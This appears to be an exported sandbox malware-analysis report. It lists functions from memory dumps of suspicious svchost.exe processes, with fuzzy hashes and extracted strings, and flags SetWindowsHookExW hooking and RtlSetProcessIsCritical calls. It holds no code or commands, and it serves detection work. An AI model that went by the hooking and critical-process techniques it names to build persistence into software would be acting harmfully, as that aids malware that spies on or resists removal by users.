Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3c7b085ac5a944c2f66026838283e70e7093be32e27bfa63e3e9f1d07f116f2
Instruction ID: f4385afd5543a558ba47b6076ca1c59041ad9f2ccf662d62bc6e063accfeb202
Opcode Fuzzy Hash: c3c7b085ac5a944c2f66026838283e70e7093be32e27bfa63e3e9f1d07f116f2
Instruction Fuzzy Hash: 7161283180DB89CFDB05DB6888456B9BFF0FF57310F0842ABD489C7193DA289859C791

Function 00007FFAAC3AADAC Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d50b5b887a064318f9362fe71b168cc0b86657d2615dca5d325b431c897f87bc
Instruction ID: bf3667db5bf4a03a33276ce4119e05569584ce71e7795f4f79f0cf2e7759029c
Opcode Fuzzy Hash: d50b5b887a064318f9362fe71b168cc0b86657d2615dca5d325b431c897f87bc
Instruction Fuzzy Hash: 84E12A71D1D94A8FFB58EB38C845AB8B7E1FF4A714F4081B9D00DD3192DE29A85A87D0

Function 00007FFAAC3A6FF2 Relevance: 2.0, APIs: 1, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 619b77302d981ef0b61ab75d16efc8ff4337c4eee6de711eedb9dc1c672e4393
Instruction ID: cbb59cd8c386ab398855273d09fad4a961e107e60e8dc33167caacff6ee35a46
Opcode Fuzzy Hash: 619b77302d981ef0b61ab75d16efc8ff4337c4eee6de711eedb9dc1c672e4393
Instruction Fuzzy Hash: 58F1156290EBC5CFF7169B7888555B97FA0EF93310B0881BBD08CCB1D3D929991987E1

Function 00007FFAAC3A9131 Relevance: 1.8, APIs: 1, Instructions: 265COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32 ref: 00007FFAAC3A92F1

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 5884fe26f9f4e9e77ca615ff00487d53e710fbd387628123d4e95a69554f2eda
Instruction ID: adf916da832287e17fa02d88ce2e4f6bdf4cdb31f7c11adf51c2ae488d45e1da
Opcode Fuzzy Hash: 5884fe26f9f4e9e77ca615ff00487d53e710fbd387628123d4e95a69554f2eda
Instruction Fuzzy Hash: 0A71F53190CB4D8FDB58DB68D845AF9BBE0EF56321F04827BD00ED3292CA65A81687D1

Function 00007FFAAC3A8CA8 Relevance: 1.7, APIs: 1, Instructions: 181COMMON

Download Yara Rule

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFAAC3A8DD2

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 8d28a1a18c8705ce69c590fb03af83423e3f92a0b2e38d2502b8d4c49e793cb6
Instruction ID: 1a436e791e4096de9121b029762c467458bb35243eb158ab2d3affd2e7d9fb05
Opcode Fuzzy Hash: 8d28a1a18c8705ce69c590fb03af83423e3f92a0b2e38d2502b8d4c49e793cb6
Instruction Fuzzy Hash: 5A513A7280DB888FE719DB688855AF8BFE0FF52711F04416FD08A83193EA655815CB92

Function 00007FFAAC3A8493 Relevance: 1.6, APIs: 1, Instructions: 127COMMON

Download Yara Rule

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFAAC3A8DD2

Memory Dump Source

Source File: 00000007.00000002.4028921738.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac3a0000_UNK_.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 7c23164a07b966983c30a9a1581911cf3c4f7da88ee603bbbe8195fe075c4065
Instruction ID: 2d4d7c0fbcd213c8733eaf90005a528943533048a3fadc3087791cef61e54037
Opcode Fuzzy Hash: 7c23164a07b966983c30a9a1581911cf3c4f7da88ee603bbbe8195fe075c4065
Instruction Fuzzy Hash: F431167180CA488FEB28DB98D845BF9BBF0FF56311F04412ED08AD3692CB746856CB91

Analysis Process: svchost.exePID: 7404, Parent PID: 932COMMON

Executed Functions

Function 00007FFAAC390AD1 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

6C, xrefs: 00007FFAAC390B02

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: 6C
API String ID: 0-3432448568
Opcode ID: 68bf1739876b45856bb4e88eb0b3da6332e6836154fa3f72606287586838361d
Instruction ID: a82dacf3030ccffe8f384097c6978f5d87060af8894f36b0d277a78dfb4a3f1a
Opcode Fuzzy Hash: 68bf1739876b45856bb4e88eb0b3da6332e6836154fa3f72606287586838361d
Instruction Fuzzy Hash: 9231F562B19E064FF784BBBC8869BBC77D1EF99311F04817BE40DC3292DD1898058391

Function 00007FFAAC390985 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

HBM, xrefs: 00007FFAAC3909C0

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: HBM
API String ID: 0-821133196
Opcode ID: 4edf7d1d3727c04b1f2a312c6fbf9c3ce0e1b8f098576c5f784008f3a996d9f9
Instruction ID: 3da6ae6784dc28a06569b20efd56921fa9cba211998a4d07e2d578264ba458e0
Opcode Fuzzy Hash: 4edf7d1d3727c04b1f2a312c6fbf9c3ce0e1b8f098576c5f784008f3a996d9f9
Instruction Fuzzy Hash: F5319471A24A0E8FEB84FBB8D465AEDB7E1FF98300F548175D009D3292CE39A805C790

Function 00007FFAAC391A49 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

r6C, xrefs: 00007FFAAC391A52

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: r6C
API String ID: 0-1646037579
Opcode ID: 3fcae6f7ac226b4d2cc5f0d0970d6263c5a01293dedec37f027df4eb25334e0a
Instruction ID: 4db178741aae79e402a7baaf477cf4c420bcaaaf0bc821d14499f3985f421c8c
Opcode Fuzzy Hash: 3fcae6f7ac226b4d2cc5f0d0970d6263c5a01293dedec37f027df4eb25334e0a
Instruction Fuzzy Hash: 54217F61B1CA494FE788EB3CD45AB79B2C2EB9C301F4445BEE04EC32A3DE289C458741

Function 00007FFAAC391B41 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

8eM, xrefs: 00007FFAAC391B6D

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: 8eM
API String ID: 0-1724682101
Opcode ID: 952ebb72a75881507960c7aa6b72a2e7037dfc7d9ede63e776a78b4b164d9831
Instruction ID: 0a0412402063ad325e82292da3395cb772ceef66c08e25cd16b884fe23c4c0c3
Opcode Fuzzy Hash: 952ebb72a75881507960c7aa6b72a2e7037dfc7d9ede63e776a78b4b164d9831
Instruction Fuzzy Hash: 8C01471190EBC48FF385A73C6875871BFE1DF97205B0804EBE88DC71A7EA19994883D2

Function 00007FFAAC390DF2 Relevance: .6, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2953371af205b61e5e9abcacd852fe64f73deeb96134ead2c3ff4434026a01fa
Instruction ID: f789b0e93278ea7d164677c847e5e2dbd9a2455b3a5f0fa2fa615bd34e26043f
Opcode Fuzzy Hash: 2953371af205b61e5e9abcacd852fe64f73deeb96134ead2c3ff4434026a01fa
Instruction Fuzzy Hash: C1310562E19B8A8BF705E77898719E9BBF0FF95210F04407AC18AD71A3DD28580983E0

Function 00007FFAAC390E30 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7430fc928e428baf0fa74861dd90d7f8db2a300ea3403bbeb555a1c2fd0440ef
Instruction ID: 877667dfe44b3deebf9511f9266906087ed51be3c3cbf0df53c98c855094809e
Opcode Fuzzy Hash: 7430fc928e428baf0fa74861dd90d7f8db2a300ea3403bbeb555a1c2fd0440ef
Instruction Fuzzy Hash: A7218062919B8A8BFB45E7B888719E9BFF1FF56200F444069D04AD71E3CD28A80587E1

Function 00007FFAAC3912C9 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17150ba954a302bd4c2f3fef21ffb26e703505750755ecbc57816b5b1ee538de
Instruction ID: bafc7ee576d46f4c1a875c57a28f3c4f9333454d3c7c5ed718eb21f049131aa2
Opcode Fuzzy Hash: 17150ba954a302bd4c2f3fef21ffb26e703505750755ecbc57816b5b1ee538de
Instruction Fuzzy Hash: 31715560A29E498FEB48F7789479ABDB6E2FF89315F404478E04ED32D2DE2D9805C750

Function 00007FFAAC390C3E Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15a0790054f108950f04b3c5df695d588a1d0c15c5ca515336a06165e92fc297
Instruction ID: 2c5e02ae564ea228acb72f3646117a61cea74dfeb14f55fecaf2e5639dbec6f4
Opcode Fuzzy Hash: 15a0790054f108950f04b3c5df695d588a1d0c15c5ca515336a06165e92fc297
Instruction Fuzzy Hash: 73515821A0EB864FE346A73CD8656B57BE1DF87210B0940FBD08DC72A3DD1D9C4683A1

Function 00007FFAAC390848 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4fc38451013fac4c771d9a37fb7a09fce6337779a5312d469a83956311920fc
Instruction ID: 1143bee9b410fd4bda7c6f38c9040e78847a39aebd705e9cafebcc9272bdeb54
Opcode Fuzzy Hash: f4fc38451013fac4c771d9a37fb7a09fce6337779a5312d469a83956311920fc
Instruction Fuzzy Hash: B8315060928A4E9FD384FBACE0A5DE97BE1BF85215B44C1A5E04DC73B7DE286840C781

Function 00007FFAAC390860 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1686222747.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f7c2b464e7a8aceb0b927780f263268306b5bf7a8bb30844f86b47c368cb8e
Instruction ID: 9baf40b41c8b58ed1cf6d9ad7b8ab5565f6c86ed838f59074f56d7d617d63567
Opcode Fuzzy Hash: f1f7c2b464e7a8aceb0b927780f263268306b5bf7a8bb30844f86b47c368cb8e
Instruction Fuzzy Hash: 94217860A28A4D9FD384FBACD065DA97BE1FF88205B84C1A4E44DC33A7CF395800C791

Analysis Process: svchost.exePID: 6896, Parent PID: 932COMMON

Executed Functions

Function 00007FFAAC390AD1 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

6C, xrefs: 00007FFAAC390B02

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: 6C
API String ID: 0-3432448568
Opcode ID: 68bf1739876b45856bb4e88eb0b3da6332e6836154fa3f72606287586838361d
Instruction ID: a82dacf3030ccffe8f384097c6978f5d87060af8894f36b0d277a78dfb4a3f1a
Opcode Fuzzy Hash: 68bf1739876b45856bb4e88eb0b3da6332e6836154fa3f72606287586838361d
Instruction Fuzzy Hash: 9231F562B19E064FF784BBBC8869BBC77D1EF99311F04817BE40DC3292DD1898058391

Function 00007FFAAC390985 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

HBM, xrefs: 00007FFAAC3909C0

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: HBM
API String ID: 0-821133196
Opcode ID: 60e3ca10773e156adfcb5af71a43ee06611f5a5c6da529a4308ca64b6d2bfc26
Instruction ID: fba0cf7d2a31ba438bc888722684a8f4977aeb8f022cb9f2448406d3213f481f
Opcode Fuzzy Hash: 60e3ca10773e156adfcb5af71a43ee06611f5a5c6da529a4308ca64b6d2bfc26
Instruction Fuzzy Hash: 7031A271E19A0E8FEB44EBB8C465AEDB7E1FF99300F544579D009D3292CE38A845C790

Function 00007FFAAC391A49 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

r6C, xrefs: 00007FFAAC391A52

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: r6C
API String ID: 0-1646037579
Opcode ID: ed0081c739056f4658fd0606cffce3ba943138a473bf52ffe83b87b4f1aecb79
Instruction ID: 1379d6b5c68fca3919275c1e0ad8a1613a3ed6379157d6a9125ce7bce65a67f2
Opcode Fuzzy Hash: ed0081c739056f4658fd0606cffce3ba943138a473bf52ffe83b87b4f1aecb79
Instruction Fuzzy Hash: 0F217F61B1CA494FE788EB3CD45AB79B2C2EB9C301F4445BEE00EC32A3DE289C458741

Function 00007FFAAC391B41 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

8eM, xrefs: 00007FFAAC391B6D

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID: 8eM
API String ID: 0-1724682101
Opcode ID: d87689ba644a5f4ccf0ff6529d00f71d4b75f890615d6f08bbcbbe5b2d9d3d8b
Instruction ID: 2502a1539ef385b0ea0c944392ed62725617ce695cdb06357cba2a0d590749c5
Opcode Fuzzy Hash: d87689ba644a5f4ccf0ff6529d00f71d4b75f890615d6f08bbcbbe5b2d9d3d8b
Instruction Fuzzy Hash: 32014C5590EBC44FF345A7385875871BFE1DF97201B0804EBE48DC71A7E918994883D2

Function 00007FFAAC390DF2 Relevance: .6, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe748c07303dc1129812566dfb2aa2f112229e0a947750a3d26f24383a0e6c8
Instruction ID: f7c455cc6ab28e8e4198c71804fdf2b36f23af7912e95f8f8bf41698e00ba334
Opcode Fuzzy Hash: 8fe748c07303dc1129812566dfb2aa2f112229e0a947750a3d26f24383a0e6c8
Instruction Fuzzy Hash: B931E566E19B8A8BF745E77898719E9BFB0FF85210F48407AC14AD71E3DD28580983E1

Function 00007FFAAC390E30 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae87b57aa5267e38973138bec13554d65d2f5ff38845d8b4070918e34b971b38
Instruction ID: 20720de56ea4514dce20f4ca32acfc9498c35f5772d6106ac4c0ffd49d26f903
Opcode Fuzzy Hash: ae87b57aa5267e38973138bec13554d65d2f5ff38845d8b4070918e34b971b38
Instruction Fuzzy Hash: 77218252D19B8A8BF745E77488719E9BFB1FF56200F444069D04AD71E3CD28A80987D1

Function 00007FFAAC3912C9 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f41d1cc6823b7749731ae9259ec2e3ab6114e9cf057a47a00a5cfe4bfd5cd6b
Instruction ID: ab4b077d7610c79a1b0de379028468682708f87b7ab17d943db21ab57c33c68d
Opcode Fuzzy Hash: 9f41d1cc6823b7749731ae9259ec2e3ab6114e9cf057a47a00a5cfe4bfd5cd6b
Instruction Fuzzy Hash: 4F716661E19A498FEB44F778D479ABDBAA2FF89311F444478E00ED32D2DE2DA805C750

Function 00007FFAAC390C3E Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dfd733484acdb14301a5788a4119990421dc2cf78f62925ad18060135e7e0c4
Instruction ID: 143f49bf1a981e067970d9be00966243e6180f209fb3a6b217686b5d02f38117
Opcode Fuzzy Hash: 7dfd733484acdb14301a5788a4119990421dc2cf78f62925ad18060135e7e0c4
Instruction Fuzzy Hash: 74514821A0EB864FE356A77CC8656B97BE1DF87210B0940FBD48DC72A3DD1D9C4683A1

Function 00007FFAAC390848 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a49f91951a52c8ebf72c6a7346d7720a5914b6410533b20e6f0f4260ff95533
Instruction ID: 94512132fa72254c729cffb816035d5cf9088d73a4307d1439cde8c138a8a2f6
Opcode Fuzzy Hash: 9a49f91951a52c8ebf72c6a7346d7720a5914b6410533b20e6f0f4260ff95533
Instruction Fuzzy Hash: 08319EA195960A9FD340EB6CD0B5CADBF61AF85210B9885A9E00EC73F7CE246850C780

Function 00007FFAAC390860 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1840534552.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaac390000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ec16d19ceade1a8ca5d611b6668787ef16017d709c56086640dab60b0718a8
Instruction ID: 7e42cfa4d1cedc40e10d3c2ec766fc0e464aafa646225147676a7e609c51a5ef
Opcode Fuzzy Hash: 01ec16d19ceade1a8ca5d611b6668787ef16017d709c56086640dab60b0718a8
Instruction Fuzzy Hash: 482184A1A5960E9FD344EB6CD0B5CAD7F61EF88201B9885A8E40EC33E7CF246950C790

Analysis Process: svchost.exePID: 700, Parent PID: 932COMMON

Executed Functions

Function 00007FFAAC3A0AD1 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

6C, xrefs: 00007FFAAC3A0B02

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: 6C
API String ID: 0-3432448568
Opcode ID: 04594c286687b74a899c6e154c8b5379c5eeef2287ddb87ee41e1e87662117d7
Instruction ID: ad6c7ca98f3a921e15d63d2fa3e6e6e4583feaf674fb99f17ddf12dd73fd94df
Opcode Fuzzy Hash: 04594c286687b74a899c6e154c8b5379c5eeef2287ddb87ee41e1e87662117d7
Instruction Fuzzy Hash: 9D31D762B19E4A4FF784BBBC9859BBDB7D1EF99711F044176E00EC32A2DD1898018391

Function 00007FFAAC3A0985 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

HBM, xrefs: 00007FFAAC3A09C0

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: HBM
API String ID: 0-821133196
Opcode ID: b0579e3e1a80bb2282aae7368057f89cc1e5725ac8f0ff4f8ce24b49db3a34f1
Instruction ID: 78dc2d52420a2a10f61e8b6ddd348f2b7b33b67e9e093a48d8c27c11777c0192
Opcode Fuzzy Hash: b0579e3e1a80bb2282aae7368057f89cc1e5725ac8f0ff4f8ce24b49db3a34f1
Instruction Fuzzy Hash: A731B871E18A0A8FEB44EB78D455AFDB7A1FF99300F544579D00AD72A2DE38A806C780

Function 00007FFAAC3A1A49 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

r6C, xrefs: 00007FFAAC3A1A52

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: r6C
API String ID: 0-1646037579
Opcode ID: d40fb25194908a0d16735ac4354de03b70c54a508d90533be4d936f30ece3ae5
Instruction ID: 336e7c3d7222550455613da2c85c81e2774133772045527de4a5dde9172a03aa
Opcode Fuzzy Hash: d40fb25194908a0d16735ac4354de03b70c54a508d90533be4d936f30ece3ae5
Instruction Fuzzy Hash: C6214D61B18A494FE788EB2CD45AB79B6C2EB9C311F4445BEE04EC32A3DE689C458741

Function 00007FFAAC3A1B41 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

8eM, xrefs: 00007FFAAC3A1B6D

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: 8eM
API String ID: 0-1724682101
Opcode ID: ce9987105131ceb6119a9e1a19d492de011441ea1edaea6a3c380154e279b75a
Instruction ID: 2d66c6e20e94a1a98d227f7347e26ef13a198271a525b1c6693aa757a448f12c
Opcode Fuzzy Hash: ce9987105131ceb6119a9e1a19d492de011441ea1edaea6a3c380154e279b75a
Instruction Fuzzy Hash: 41014C5590EB818FF385A7386865831BFE0CF93610B0844EBE48EC71B7F904994983E2

Function 00007FFAAC3A0DF2 Relevance: .6, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da638a7e1b3acd39fc776d4329a34111a430a31e858c66f884a5f86339eba57e
Instruction ID: d7e6347a110922b25e6bc7e9583548f36264c92a1b408867fed6f7810bed44e8
Opcode Fuzzy Hash: da638a7e1b3acd39fc776d4329a34111a430a31e858c66f884a5f86339eba57e
Instruction Fuzzy Hash: C2310862D19F9A8FE745E77898715E9BFB0EF91210F48407BC18EC71A3DD18980A83D0

Function 00007FFAAC3A0E30 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9238a41abfe5603ee9b53fe5d40f3618a1073f2bb9b695aa39dcb726e6348e49
Instruction ID: e921ebe7c6494bf17dc20007f75db11a343c63cd2575cf7b2059ab939dbcd9ad
Opcode Fuzzy Hash: 9238a41abfe5603ee9b53fe5d40f3618a1073f2bb9b695aa39dcb726e6348e49
Instruction Fuzzy Hash: CB21B452919F8A8FE745D76488659F9BFF0FF55200F48407AD04BD71D3DD28A80983A1

Function 00007FFAAC3A12C9 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ab359a6c485f87f84dc059c6dbdb6676577a9c0bc2566e82f71214ef2052233
Instruction ID: c4e6309dc1ce39e45dd2e2c129d7f262b3619e83f8a294f8dd0717f9c6445704
Opcode Fuzzy Hash: 8ab359a6c485f87f84dc059c6dbdb6676577a9c0bc2566e82f71214ef2052233
Instruction Fuzzy Hash: C6A1F871A19A0D8FDB44FB78D469ABD7BA2FF89311F404579E00EC32D2EE299815C750

Function 00007FFAAC3A0C3E Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f7958059541d51969ab461d3ba5d5044439b3b3f5247a11e09c9e2a8bf7ded
Instruction ID: 6f619062d4a356569e024f20a5c81886cec2ef914a705c3c507c04fc1fbe7edf
Opcode Fuzzy Hash: 01f7958059541d51969ab461d3ba5d5044439b3b3f5247a11e09c9e2a8bf7ded
